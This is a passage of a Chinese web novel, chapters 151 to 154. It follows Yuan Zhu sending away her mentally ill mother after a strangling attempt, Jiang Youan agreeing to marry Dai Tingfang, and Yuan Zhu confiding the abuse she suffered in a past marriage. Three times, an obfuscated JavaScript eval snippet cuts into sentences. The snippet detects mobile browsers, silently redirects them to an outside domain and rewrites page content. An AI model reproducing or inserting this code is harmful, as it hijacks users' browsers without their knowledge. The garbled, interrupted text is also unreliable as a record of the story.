“袁竹,你怎么样?没事吧?”辛开元双手搭在袁竹的肩上,担心地看着她。 袁竹捂着脖子咳了两声,推开了辛开元的手,看着项三娘,她失望至极,“娘,你抚养我长大,我一直记着你的恩,哪怕你神志不清,不认识我了,我也想给你养老送终,不过,既然你这么恨我,我也不能留你了,你走吧。” 151. 安慰 袁萱草一听就着急了,“袁竹,你也知道家里是什么情况,你让娘走,是想让她到哪去?” “她要是像昨天那样,我就当家里又多了个孩子,留下也就留下了,但她现在这个样子,说不准什么时候就会杀人,万一她趁我睡着,想要掐死我怎么办?”袁竹说道。 “不会的,娘也是疼爱你的,她不会想要掐死你的。”袁萱草无力地辩解着,弟弟死了,妹妹又要把娘赶出去,到时候就只能她来照顾娘了,她还有丈夫、孩子和婆婆,那个家里,哪还能再容得下一个外人,她必须要让娘留在妹妹这里。 “现在哥不在了,娘最疼的当然是你,你从小听话懂事,什么都做得好,娘有什么事,也都会跟你商量,她疯了之后,也只认识你,留在我这里,我只会刺激到她,对我们两个人都不好。”袁竹说道。 袁萱草觉得很气愤,“你要把娘推给我一个人?她也是你娘,你怎么能不管她?” 袁竹也很生气,“她想杀了我,你还要我继续照顾她?” 两个人的争吵让项三娘觉得有些慌了,她把袁萱草抱在怀里,“好女儿,别怕,我护着你,不会让你挨打的。” 袁萱草愣住了,看着项三娘温柔的眼睛,她充满了愧疚,抱着项三娘难过地哭了起来,“娘,怎么办啊?你让我怎么办啊?” 袁竹见此情形,强忍着的眼泪也终于落了下来,她一直想要得到这样的爱护,但她娘始终不爱她,她不会拥抱她,也不会保护她,他们才是一家人,项三娘手中满掬了一捧爱,都给了他们,只有掌缝间遗落的很小很小的一部分,才是给袁竹的。 辛开元心疼地把袁竹抱在了怀里,“你做的没错,你首先要保护好自己,你是对的。” 袁竹抱着辛开元,呜呜咽咽地哭着,含糊不清地诉说着自己的委屈,爹娘的偏心,哥哥的欺负,还有那些年无依无靠的孤苦。 袁萱草在一旁默默听着,也为妹妹感到心酸,袁竹确实是这个家里最受冷落和最受欺负的,所以她才会离开家,再也不回去,她对那个家,没有什么依恋,那个家带给她的,最多的就是痛苦。 袁萱草擦了擦眼泪,安抚了项三娘两句,牵着她回屋去了。 辛开元也揽着袁竹的肩膀,把她带到耳房里,让她坐在椅子上,辛开元蹲在她面前,轻声安慰着她。 不多会儿,袁萱草敲开了耳房的门,“袁竹,你别难过了,我明天就带娘走,再不会有今天这样的事了。” 袁竹擦去了脸上的泪水,抬头看着袁萱草,她站在太阳光里,袁竹看不太清楚她脸上的表情,“你要带她去哪儿?” “我不放心让她回家去,她一个人也没法生活,我打算带她到我家去,她以后就和我一起生活了。”袁萱草说道。 袁竹站起身来,“你婆婆能同意吗?” 袁萱草叹了口气,“也顾不了那么多了,她毕竟是我娘,我不能不管她,她吃得也不多,家里还有棉衣棉被,我都给她带去就是了。” “家里的房子和地,你都卖了吧。”袁竹说道。 “那都是爹的,他从大牢里出来,还要种地吃饭,也得有个住处,还是给他留着吧。”袁萱草说道。 袁竹眉头轻皱,红红的眼睛看着她,“姐,你就是太善良了,凡事总是为别人考虑的多,为自己考虑的少。” 袁萱草微微一笑,“也许我就是这个命了,又能有什么办法,今天再让娘在这里睡一晚吧,明天一早我们就走。” 袁竹觉得有什么东西堵住了她的喉咙,她有很多想说的话,却不知从何说起。 “你歇着吧,我去看着娘。”袁萱草说完,走出去关上了房门。 “就这样把娘推给姐姐,我是不是太自私了?”袁竹看着关上的门扇,喃喃自语道。 辛开元走到了袁竹的身边,轻声说道:“我知道你想留下你娘,可她会伤害你,还是让你姐姐把她带走吧,你还可以在其他事上帮你姐姐。” “我这样做可能太狠心了些。”袁竹激动地转过头来,抬头看着辛开元,“可我娘对我一样狠心,她可以抛下我不管,我为什么不可以抛下她不管?” “你可以。”辛开元把袁竹拥进怀里,“我知道,无论你决定怎么做,都有你的道理,为别人着想和为自己着想都没错,我会一直支持你的,你放松点儿,不要想太多,也许你姐夫一家人能够接受你娘呢。” 袁竹知道,她娘不大可能被姐夫一家接受,可她不想再继续妥协了,退让没有换来爱,只会让她失去更多。 袁竹轻轻抱住了辛开元,他的体温,他的心跳,他结实的臂膀,让袁竹觉得很安心,“开元,谢谢你。” 辛开元拥着袁竹,在她头顶发出轻笑声,“袁娘子要是感谢我的话,就让我入赘到你家怎么样?” 袁竹只是静静抱着他,没有说话。 “我是开玩笑的,你要是觉得为难,就当我没说过吧。”辛开元说完,吻了吻袁竹的额头。 “我,会考虑的。”袁竹把脸埋在辛开元的胸口,声音闷闷地传来,辛开元激动地抱紧了她。 这天,姜佑安没再来袁家,下午有客人来,袁竹也忘了去找她,第二天吃过早饭,袁萱草说临走之前要跟姜佑安道个别,袁竹才叫姜白凤去把她给叫了过来。 众人拿着大包小包的东西在院门口相送,姜佑安一再跟姜白凤确认了没有姓庄的客人在,才姗姗来迟,笑着向袁萱草问道:“袁姐姐,这就要走了?怎么不多住些日子?” 见姜佑安走过来,项三娘向袁萱草的身后躲了躲,略微探出头,紧张地看着她。 袁萱草挽着项三娘的胳膊,笑着答道:“这里太热闹了,不适合静养,我先把我娘接到我家住些日子,等她清醒些了,再过来看你们。” “那也好,你娘现在只认你,你要是自己走了,还真是不太好办。”姜佑安说道。 袁萱草松开项三娘的手,把姜佑安拉到一边,说了几句悄悄话,项三娘左右看看,好奇地跟了过去。 和姜佑安说完话,袁萱草就带着项三娘上路了,袁竹、辛开元和石倩拎着包袱,一路把她们送到了县里,雇了马车,把项三娘扶上了马车,袁萱草把一个布口袋塞到了袁竹手中。 “我听说为了把你从大牢里救出来,姜院长在外面借了不少钱,你家里养着那么多人,身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910021|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还背了债,这段时间肯定要辛苦些,这是徐娘子给我的钱,我没花,给你留着用吧。”袁萱草说道。 袁竹把钱放回袁萱草的手里,“这是你干活挣的钱,你自己收好吧,我不能要。” “你拿着吧。”袁萱草又把钱推给袁竹,“给贵生买棺材下葬,你也花了不少钱,我要是有钱,就多给你点儿了。” “我还有钱,你留着吧。”袁竹坚决不收,“我们都是为了给我哥娶亲卖出去的女儿,按说不该让你把咱娘带走的。” “我知道,爹娘伤了你的心。”袁萱草叹了口气,把钱收了起来,“算了,不说这个了,娘跟着我走,你不用担心,我不会让她冻着饿着的。” 袁竹从怀里掏出一锭银子来,拉过袁萱草的手,郑重地放在了她的手里,“娘就拜托给你了,我知道,你婆婆不是那么好说话的,你就说这十两银子是娘自己的,看在钱的面子上,她估计也不会说什么了。” 袁萱草不肯收,“你现在正缺钱,我怎么能要你的钱。” “这不是给你的,是给咱娘的,你替娘收着,她有什么要用钱的地方,你就花这个钱。”袁竹说道。 袁萱草心中不忍,皱起了眉头,“娘那样对你,你还肯给她拿钱?” “我已经想通了,在咱们家,爹不爱我,哥欺负我,娘至少还对我有那么一点儿关心,你是对我最好的,你们俩一起走,我总要尽一份心,才能心里舒服些,你就拿着吧。”袁竹微笑着说道。 袁萱草迟疑了片刻,把银锭收了起来,感叹道:“都是袁家对不起你。” 袁竹轻轻一笑,“没关系的,姐,你不用替他们道歉,我现在已经有自己的袁家了,我们都会好起来的。” 袁萱草点了点头,心里却感到一阵茫然,妹妹有了自己的新家,虽然现在背着债,但家里那么多人,总会一点点变好的,可自己呢?就算有十两银子,老公和婆婆真的能容忍她娘住下来吗? 袁萱草怀揣着不安,勉强冲袁竹笑了笑,跟辛开元和石倩告了别,上了马车。 袁竹也挥手告别,跟袁萱草说缺钱了可以去袁家找她,袁萱草点了点头,放下了车帘。 送走了袁萱草和项三娘,袁竹觉得有些难过,但也觉得心里轻松了许多,她转过头,看向辛开元和石倩,“走吧,咱们回家去。” 姜佑安在袁家门口目送袁竹和袁萱草走远之后,去找到了徐洪愿,早上没有客人,徐洪愿正在院子里浇花。 “徐娘子,之前来的那位姓庄的公子,你认识吗?”姜佑安问道。 “不认识。”徐洪愿答道。 “那你怎么知道他要来买菊花?”姜佑安又问道。 徐洪愿一边浇花一边说道:“是庄公子家的下人来告诉我的,说庄公子不是普通人,要我好好接待,我心想客人既然这么说了,那我们重视一下也没什么。” 姜佑安想了想,接着问道:“他真的是来买菊花的?” “是啊,袁竹说他买了好多珍稀品种,说是要送人的。”徐洪愿放下了水瓢,奇怪地看着姜佑安,“你问这些做什么?庄公子是袁竹接待的,你怎么不去问袁竹,倒跑来问我?” 152. 哄他 姜佑安笑了笑,“这不是袁竹不在嘛,我就跟你聊聊天,你这是嫌我烦了?” 徐洪愿也笑了,“我不嫌你烦,我是怕戴老师知道了要吃醋。” “这有什么可吃醋的?”姜佑安说道。 “我还不知道你?你难道不是看庄公子长得好看,还有钱,才过来打听的?”徐洪愿促狭地说道。 “他长得好看?”姜佑安觉得无比荒唐,“他哪好看了?他连我们戴老师一根手指头都不上!” 徐洪愿呵呵一笑,“是,谁都比不上戴老师,你这么说,戴老师可算是放心了。” “这跟戴老师没关系,那个庄公子买了菊花,昨天又过来干什么?”姜佑安问道。 “说是想带阮荷去京城,阮荷没同意,让袁竹给赶走了。”徐洪愿说道。 “什么?!”姜佑安生气地呼出一口气,“他都快四十岁的年纪了,还要娶十多岁的姑娘?想得美!” “庄公子看起来挺有钱的,有钱人三妻四妾的,不都是常事?那还有五六十娶小姑娘的呢。”徐洪愿无所谓地说道。 “有是有,但就是不正常!”姜佑安说道。 徐洪愿往姜佑安身边凑了凑,“你跟我说说,你为什么对庄公子这么感兴趣啊?” 姜佑安往旁边撤了撤,“我哪里感兴趣了,我就是随便问问,他以后不会再来了吧。” “应该不会了。”徐洪愿舀起一瓢水,突然笑了起来,“你都不知道阮荷这丫头跟庄公子提了什么条件,真是好笑得很。” “什么条件?”姜佑安问道。 “阮荷说,要么让她参加科举,要么,庄公子有几个老婆,就得给她找几个老公,听说庄公子气得,脸都绿了。”徐洪愿笑着说道。 姜佑安一听也笑了,“小阮真是有主意,最好能气死他!” “是有主意,这两个条件,哪个男人都不能答应,我估计她就是跟你学的,咱们袁家啊,再没有比你更不着调的了。”徐洪愿说道。 姜佑安骄傲地抬起了下巴,“跟我学的怎么了?这可是好事,凭什么男人可以三妻四妾,女人就要从一而终?我偏不!等我五六十了,我也去找十多岁的小伙子!咱们女人可不能吃这个亏!” “你刚才还说老少配不正常呢,怎么到你自己身上就可以了?”徐洪愿笑着问道。 姜佑安调皮地冲徐洪愿眨了眨眼,“老头配少女的多了,我们老太太配少男的也要多些,正好平衡一下。” “不跟你胡扯了。”徐洪愿把水瓢扔进了空桶里,向二门外扬了扬下巴,“戴老师在那里等你半天了,你要找少男,还是跟他商量商量吧。” 姜佑安回过头,见戴庭芳正站在门边,用阴沉的眼光看着她。 “你怎么不早说?”姜佑安低声向徐洪愿抱怨道,不等徐洪愿回话,就讪笑着走到了戴庭芳的面前,“戴老师,你怎么来了?” “我来看看你这里有没有什么需要帮忙的。”戴庭芳冷着脸说道。 “没什么要帮忙的。”姜佑安挽着戴庭芳的胳膊向外走,“这里都交给徐娘子就行,咱们回去吧。” “慢走,不送!”徐洪愿拎着空桶去了井边,戴庭芳随着姜佑安一起走出了院门,向东走去。 戴庭芳目视前方,内心愤愤不平,“姜院长,你嫌我年纪大了?” “哪有,你还年轻,青春正盛呢。”姜佑安笑着说道。 戴庭芳语气僵硬,“二十多岁,还是比不过十多岁年轻吧。” “十多岁不就是个孩子吗?我是个大人,不喜欢那么嫩的,戴老师这样的年岁,正合适。”姜佑安认真地解释道。 戴庭芳转过头来,看着姜佑安的脸,“等到我三十多岁的时候,你还要找二十多岁的男人吗?” “我没想过那么远的事。”姜佑安说道。 戴庭芳拉住姜佑安的胳膊,拦在她的面前,“你现在想,你想要在什么时候抛弃我?” “戴老师,你怎么了?”姜佑安伸手握住了戴庭芳的手,“对不起,我刚刚只是在跟徐洪愿开玩笑,我并没有想过要抛弃你。” 戴庭芳神色哀伤,情绪低落,“玩笑话里也有你的真心吧,你一直不肯和我成婚,是怕婚姻约束了你吧,只要不成亲,你就一直是自由的,什么时候想离开我,随时都可以离开,看上了别的男人,就可以抛弃我。” “不要这样说,你这样,我也会觉得难过,”姜佑安抬手轻抚着戴庭芳的脸,“我是真心实意想要和你在一起的,只是我自由惯了,我不喜欢成亲,不想要嫁到你家里,更不想认两个陌生人当爹娘,我们现在这样生活在一起,不也挺好的吗?” 戴庭芳抓住了姜佑安的手,“你不想到一个陌生的家里去,我可以理解,这里有房子,我们一直住在这里也没什么,但我还是想要你给我一个名分,哪怕你以后找了别的男人,我也曾是你的丈夫。” “名分很重要吗?”姜佑安不解地问道。 “当然重要,我想要别人说起我时,说的是姜院长的丈夫,而不是外面的一个野男人。”戴庭芳说道。 “好吧。”姜佑安笑了笑,戴庭芳如此可爱的坚持,让她愿意为了他妥协,“那你家那边怎么办?你说服你爹娘了吗?” 见姜佑安答应了,戴庭芳很开心,“我娘一向赞赏你的为人,她不会反对的,我爹虽然顽固,可我已经从戴家脱离出来了,他也拿我没办法。” “你不是一向畏惧人言吗?不听你爹的话,你不怕别人指责你不孝吗?”姜佑安问道。 “我此生不能为官,已经是辜负了我爹的期望,他不能理解我,我也不能理解他,不孝就不孝吧,现如今我能做的,也只有在他老迈之时为他养老送终了。”戴庭芳说道。 “你不会觉得为难就好。”姜佑安握着戴庭芳的手,低下了头,“不过,我还有一个条件。” “什么条件?”戴庭芳温柔地问道。 姜佑安抬起头来,看着他的眼睛,“我生的孩子,必须跟我的姓。” 戴庭芳没有片刻犹豫,“当然,我是入赘,孩子自然是要跟你的姓。” 姜佑安轻轻笑了,向前一步,走进了戴庭芳的怀里,“婚礼你想在什么时候办?我觉得春天比较好,你觉得呢?” 戴庭芳抱着姜佑安,心满意足地笑了,“我都听你的。” 姜佑安抬头,在戴庭芳脸上亲了一下,“咱们回家去吧。” “好,回我们的家。”戴庭芳放开了姜佑安,牵着她的手向前走,“刚才你在打听庄公子的事?” “你都听见了?”姜佑安问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915866|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯。”戴庭芳点了点头,“你这两心绪不宁的,也不想到袁家来,是因为这个庄公子吗?” “我不想瞒着你,这个姓庄的知道我的身份,我得躲着他点儿。”姜佑安说道。 “听说他是京城来的,还姓庄,是不是跟皇室有什么关系?”戴庭芳问道。 “是有关系,他就是大皇子,庄伯章。”姜佑安答道。 “大皇子?”戴庭芳震惊地停下了脚步,“大皇子怎么会到这里来?你还认识皇子?” “我以前在城郊射箭的时候,偶然结识了大将军的女儿,在她那里见到了不少权贵。”姜佑安随便地扯了个谎,随后又觉得不该欺骗戴庭芳,“你先不用管这些,我有些事情还没有想清楚,等到咱们成亲那天,我就把所有事都原原本本地告诉你。” 戴庭芳笑了笑,牵着姜佑安的手继续向前走,“好,我等着你。” “多谢相公这样体谅我。”姜佑安笑着说道。 “还没有成亲,你怎么就称起相公来了。”戴庭芳的脸上浮起了害羞的红晕,真是让姜佑安百看不厌。 “不是你非要和我成亲的吗?”姜佑安朝戴庭芳的身体贴过去,搂住了他的腰,“先提前习惯一下,相公,你也叫我一声娘子听听。” 戴庭芳被姜佑安牵绊住,难以向前挪动,他咬着嘴唇,犹豫了一下,低头轻唤了一声,“娘子。” “哎。”姜佑安高兴地应了一声,拉着他的手快步向前走去,“相公,咱们快回屋去吧。” 知道她着急回屋是要做什么,戴庭芳的脸更红了,“早上不是刚……” “刚什么?”姜佑安回头来,暧昧地笑着,“我只说要回屋,你在想什么呢?” 戴庭芳尴尬地低下头,“没什么。” 姜佑安的步子慢下来,她握着戴庭芳的手,手指轻轻挠着他的掌心,“你不是一直想跟我做夫妻吗?怎么连夫妻之事都说不出口?” 戴庭芳的掌心痒痒的,这样让姜佑安逗弄着,他感觉很羞耻,“先回家吧,回家再说。” 姜佑安轻笑着,跟着戴庭芳的步子,走下了小路,推开大门,穿过了学堂前的训练场,进了院子,打开了房门,戴庭芳抱着她,关上了房门。 中午姜佑安依旧没有去袁家吃饭,下午,袁竹来到了戴庭芳的院门口,看到篱笆内一排黄色的菊花开得明艳热闹,姜佑安和戴庭芳搬了桌椅放在菊花旁,正一边喝茶一边赏花。 “袁竹,你怎么来了?”姜佑安见袁竹走进院子,忙起身招呼她,让她在桌边坐了,戴庭芳去屋里取了杯子来,给她倒了杯茶,放在她的面前。 袁竹佯装抱怨,“姜佑安,家里人都在忙得脚不沾地,你倒好,自己在这里享受上了。” “我上午去过了,徐洪愿说她能忙得过来,我才回来的。”姜佑安解释道。 “你以后就住在这里,不打算过去了?”袁竹问道。 “过去,当然过去,我听袁老板指挥,你让我卖花我就卖花,你让我干活我就干活,谁让我还指着你养活呢。”姜佑安笑着说道。 袁竹看姜佑安没什么异常,也就放心了,她喝了口茶,把杯子放回桌上,“你就别跟我贫嘴了,你不帮忙也没什么,我过来就是想问问你,我姐走之前跟你说了什么?” 153. 心结 “她就是关心你的婚事,想让我劝劝你,早日跟辛老师成亲。”姜佑安说道。 袁竹笑了笑,“她还让你劝我?你不也一样没成亲吗?” “我跟你情况不一样。”姜佑安看向戴庭芳,“戴老师,我跟袁竹有几句私密话要讲,你能先回避一下吗?” “好。”戴庭芳站起身,回了屋。 “你现在吃住都在这里了,为什么还不跟戴老师成亲?”袁竹问道。 “我看你对辛老师也不是没有想法,你为什么不答应让他入赘?”姜佑安反问道。 袁竹双手捏着茶杯的底部,沉默了一会儿才说道:“我不想成亲。” 姜佑安耸了耸肩,“我也不想。” “你说得对,我们情况不一样,我要是能做到像你这样,也许我就答应了。”袁竹低着头说道。 “像我这样?你是说和戴老师住在一起?”姜佑安奇怪地看着她,“你不是也留辛老师在你房间里睡午觉了吗?” “就只是睡午觉而已,其他的什么都没有,不过,他就是躺在我身边睡着,我都觉得不舒服。”袁竹说道。 “为什么?你不习惯有人和你一起睡?”姜佑安问道。 袁竹的食指在杯壁上轻轻滑动,“对,不习惯。” “这么说,你确实不适合成亲,你的前一任丈夫应该能好点儿吧。”姜佑安说道。 袁竹抬起头,捏着杯子的手也不自觉地用了力,“好点儿?” 姜佑安看她脸色有些奇怪,小心地问道:“不是吗?他不是病得很重吗?睡觉的时候,应该也会很老实吧。” “不,他一点儿都不老实。”袁竹低下头,“他爹娘很想让他留个后,他自己也有这个心。” 姜佑安皱起了眉头,“都病得下不来床了,还能行吗?” 秋日的阳光洒下来,晒得人身上暖洋洋的,袁竹却觉得手脚冰凉,“他娘会帮他。” “什么?!”饶是姜佑安见多识广,也从没听说过这样的事,“他娘还能插手儿子床上的事?” 袁竹叹息一声,“可能是为了让他儿子不绝后吧。” “怪不得你要离开那里,这一家人也太不知廉耻了!”姜佑安气愤地说道。 “当时我以为自己无处可去了,只能忍着,现在想想,真是可笑,我早该离开那里的,我一个人来到这里,不还是活得好好的。”袁竹的语气像是在嘲笑当时的自己,这让姜佑安很是心疼。 姜佑安放低了声音,温柔地劝慰道:“不要这样苛责自己,你不可笑,对于没走过的路,大家都会害怕,只有亲自去走了,才知道有没有危险,你能够勇敢走出来,已经很好了。” 姜佑安的话,让袁竹胸中泛起一阵暖意,她脸上痛苦的神色逐渐褪去,“成亲对于我来说,只是一个噩梦,我可能没办法和辛开元成亲。” “有个男人爱你,你不觉得高兴吗?”姜佑安问道。 “高兴。”想到辛开元,袁竹笑了笑,“从小到大,只有我姐对我好,后来遇到了你们,袁家的人越来越多,我的生活被填得很满,我也就不再记挂着小时候的事了,我现在过得很好,辛开元也对我很好,我只是不明白,为什么要一定成亲。” “我觉得成亲没什么必要,但我看辛老师挺想和你成亲的,这一点倒是跟戴老师很像。”姜佑安说道。 袁竹抬头看着姜佑安,笑着说道:“我就知道你能理解我,我姐找你劝我,真是找错人了。” “我当然能理解你不想成亲,你有那样的经历,不想跟男人一起睡也是正常的。”姜佑安看着袁竹的眼睛,认真地向她问道:“这件事,你有跟辛老师说过吗?” 袁竹捧着茶杯,喝了一口茶水,水已经凉了下来,咽下去后,嘴里残留着菊花清苦的味道,“没有,我不知道该怎么跟他说。” “你要是信得过我,我可以去跟辛老师说一下。”姜佑安提议道。 袁竹有些迟疑,“这,一定要说吗?” “说不说,决定权在你,我只是觉得,让辛老师知道这件事,才能让他规避一些可能会冒犯到你的举动,当然,最好是你亲自跟他说,你要是觉得开不了口,我也可以代劳,你要是不想说,我会一辈子为你保守秘密。”姜佑安郑重地说道。 “谢谢你。”袁竹轻轻笑了,“我会好好考虑一下,需要你帮忙时,我再来找你。” “不客气。”姜佑安也笑了,“欢迎你随时来找我。” 说出了埋藏在心里的话,袁竹感觉轻松了许多,她站起身来,“不打扰你们了,我先回去了。” 姜佑安把她送出院门,“你要是觉得那边吵闹,可以常来坐坐。” “学堂快开学了,你这里应该也清净不了几天了。”袁竹笑着说道。 姜佑安微微一笑,“说的也是,到时候我还是去你那里躲清静吧。” 袁竹回头看去,见戴庭芳正站在房门口向这边看,她唇边仍带着微笑,向姜佑安问道:“戴老师很想跟你成亲,你打算怎么办?” “我不想成亲,我喜欢自由,不想被人约束。”姜佑安说道。 “我看戴老师也约束不了你吧。”袁竹说道。 “确实。”姜佑安笑了笑,“不过,有时候我也觉得,戴老师约束着我,也没什么不好,和他在一起,我觉得很开心,也许我们很快就会成亲了。” “行啊。”袁竹笑得很开心,“那我就等着喝你们的喜酒了。” 姜佑安挽着袁竹的胳膊,凑到袁竹耳边轻声说道:“男人也有男人的好处,等你什么时候能接受辛老师了,我再慢慢告诉你。” “哪有什么好处?你别胡说了!”袁竹笑着推开了姜佑安的手,向大门走去,“我回去了,晚上你要是过去吃饭,就早点儿去。” “好。”姜佑安目送袁竹消失在霍静和邵苏木的房子旁,才转身进了院子。 姜佑安没有跟袁竹明说,袁萱草跟她说的是,袁竹不想跟男人一起睡,做为姐姐不好开口跟妹妹说这些,才找了她,想让她劝劝袁竹接受辛开元,两个人早日成婚,袁竹有了男人作依靠,袁萱草这个做姐姐的也就放心了。 虽然姜佑安觉得袁竹没必要依靠男人,但看在袁萱草也是一片好心,就答应了下来,没想到竟然听到了袁竹痛苦的往事,再联想到最近发生的事,她还能保持这么乐观豁达的心性,真是令人钦佩。 “在想什么呢?”戴庭芳走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932407|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来问道。 姜佑安抬头看着戴庭芳的脸,突然眼前一亮,“戴老师,有一件事,我想请你帮个忙。” “什么忙?”戴庭芳问道。 姜佑安拉着戴庭芳的手往屋里走去,“是有关辛老师的事。” “辛老师?他怎么了?”戴庭芳回头看了看,茶壶茶杯还在桌上没收拾,“不喝茶了吗?” “等会儿再喝,这件事很重要。”姜佑安说着,把戴庭芳拽进了屋里。 傍晚,姜佑安去了袁家吃晚饭,一切好像又都恢复了正常,袁竹也把过往那些糟心事扔到了一边,和大家一起努力挣钱,偿还欠款。 有时袁竹也会想到她娘和她姐姐,但人已经走了,钱也给了,想再多也没什么用,偶尔她也会想到她爹,在大牢里的日子肯定不好过,但再想到他曾经想让自己给哥哥偿命,就一点同情心都生不出来了。 菊花的花期要过去了,袁家人不再那么忙碌,书院也开学了,姜佑安萌生了新的爱好,每天上午都拉着箫悦笙一起去龙世蓉的马场里练骑射。 这天下午,姜佑安和袁竹在房间里对账本,盘算着要先还谁的钱。 “最近晒的菊花茶都被龙世蓉收了,我没要钱,让她直接抵欠款了,龙世蓉那边欠的多,不过她不着急用,我看这三十两可以先还给戴老师。”袁竹说道。 “戴老师说他借的是他母亲的私房钱,他母亲平时没什么用钱的地方,不用着急还,我看你还是先还给辛老师吧。”姜佑安说道。 “辛开元那边,我心里有数,之前我已经还了他一部分,他说家里还过得去,剩下的只要年前能还上就行,这里正好有整三十两,给了戴老师,就不用再记着这一笔了。”袁竹说道。 “行,那我先替戴老师收着了,他那边我没写借条,你记着清账了就行。”姜佑安说道。 两人正说着,有人从堂屋里走过来,在门口敲了两下门。 “姜院长,袁老板,忙什么呢?”邵苏木笑着向两人打招呼。 袁竹抬起头,见是邵苏木和霍静来了,霍静的手上还提着一个篮子,她赶忙收拾了桌子,招呼两人过来坐。 姜佑安也收拾起了笔墨,笑着问道:“我来帮袁老板对对账,你们怎么有空到这里来?” 邵苏木在椅子上坐了,“我今天没课,去县里逛了逛,看橘子新鲜,就买了些,带过来给你们尝尝。” 霍静把竹篮放在了桌上,里面装着半篮子的橘子,果型饱满,果皮鲜亮,果然看起来很新鲜。 “下午本来有操练课的,我今天肚子不太舒服,就没参加,正好邵老师想过来坐坐,我就陪她一起来了。”霍静微笑着说道。 “霍静你也坐。”姜佑安把桌上的东西拿走,袁竹给两人到了茶,“这是我们自己晒的菊花茶,你们尝尝怎么样。” 邵苏木和霍静尝了,都觉得清香可口,袁竹就给她们拿了些,让她们回去也泡着喝。 两人在袁竹房里说了会儿话,便起身告辞了,姜佑安和袁竹把两人送出了院门,看着霍静逐渐远去的背影,袁竹的神色变得凝重起来。 袁竹扯了扯姜佑安的袖子,“前阵子在县衙里,我好像看到霍祭太了。” 154. 坦白 “霍祭太?你是说霍家的族长霍祭太?”姜佑安有些不敢置信地问道。 “对,就是他,我当时看到他的时候,只觉得有些眼熟,没想起来是谁,刚才看着霍静的背影,我突然想起来了,那个人是霍静的父亲,霍祭太!”袁竹说道。 “你在哪看见的?大牢里?女囚和男囚不是分开关的吗?”姜佑安问道。 “不是大牢里,是我被人从大牢里带出去审问的时候,看到一个官差领着他朝里走,拐去了别的地方,我没看仔细,不过,他的衣着打扮也不像是坐牢的人。”袁竹说道。 姜佑安满心疑惑,“霍祭太手上至少有两条人命,还得罪了前任知县唐佐,按说他应该已经被问斩了,怎么会又出现在县衙里?” 袁竹也有些怀疑,“也许是我看错了,只是个跟霍祭太有些相像的人也说不定。” “那人要真是霍祭太,可就麻烦了,吴县丞和霍祭太勾结,知县袒护,以后还不知道会生出什么事来。”姜佑安说道。 “他怨恨我们,肯定会过来找我们的麻烦。”袁竹说道。 “是啊,我得告诉辛老师一声,以后的操练可不能松懈了,要是有个什么万一,我们也好应对。”姜佑安说道。 “那个人也不一定真是霍祭太,之前的案子唐知县是怎么处理的,我们也不清楚,要不先找曾景阳捕快问问?”袁竹提议道。 姜佑安点了点头,“你说的对,曾捕快是个正直的人,他也清楚事情的前因后果,我这就去找他。” “时间不早了,你现在过去,天黑前怕是回不来,还是明天一早过去吧。”袁竹说道。 姜佑安微微一笑,“说得也是,是我太心急了,明天我反正也要进城,到时候先去县衙一趟就是了。” 袁竹挽着姜佑安的胳膊进了院门,“上次我在县衙里都没有看到他,也不知道是不是外出了。” “他那个性子,什么事都要管,肯定闲不住,明天要是见不到他,我就给他留个信儿,他应该也能来一趟。”姜佑安随袁竹进了二门,又觉得放心不下,“账算完了,我就不进去了,我去找一下辛老师。” 袁竹松开了手,“现在还不清楚是什么情况,你也不用跟他说得太清楚,别让孩子们担心。” “嗯,我知道。”姜佑安答应着,转身走了出去。 袁竹回了房间,留下一些橘子,剩下的都拿去给了钟二娘,让她分给孩子们吃。 刚从后院回到前院,袁竹就看见阮荷跟几个孩子一起走了进来。 “小阮,你跟我过来。”她笑着挥手招呼阮荷,“今天回来得挺早啊。” 阮荷高兴地跑过来,随着袁竹一起进了屋,“今天辛老师没来,是箫姐姐带我们操练,开始的早些,所以结束得也早。” 袁竹拿起桌上的橘子,递给阮荷,“辛老师怎么了?是有什么事吗?” “不知道,我没看见他,可能是身上不太舒服吧。”阮荷在洗脸盆里洗了手,接过橘子,坐在桌边剥了起来,“这橘子是哪来的?佑安姐姐买来的吗?” “不是,是邵老师拿来的。”袁竹拿起一个橘子,却没有去剥,“你是说辛开元病了?我看他上午不还好好的吗?” “这我不清楚,我也是听箫姐姐说的,好像是没什么大碍。”阮荷一边吃橘子一边说道。 “你看见姜佑安了吗?”袁竹问道。 阮荷摇了摇头,“没有。” “我去看看。”袁竹挑了两个最大的橘子拿在手里,向外走去。 阮荷也站起身,拿了两个橘子出去,阮晨烟已经在她房间里了,阮荷把橘子给了妹妹,两个人吃了橘子,一个人去读书,一个人做绢花,时不时说两句话,空气平静而温馨。 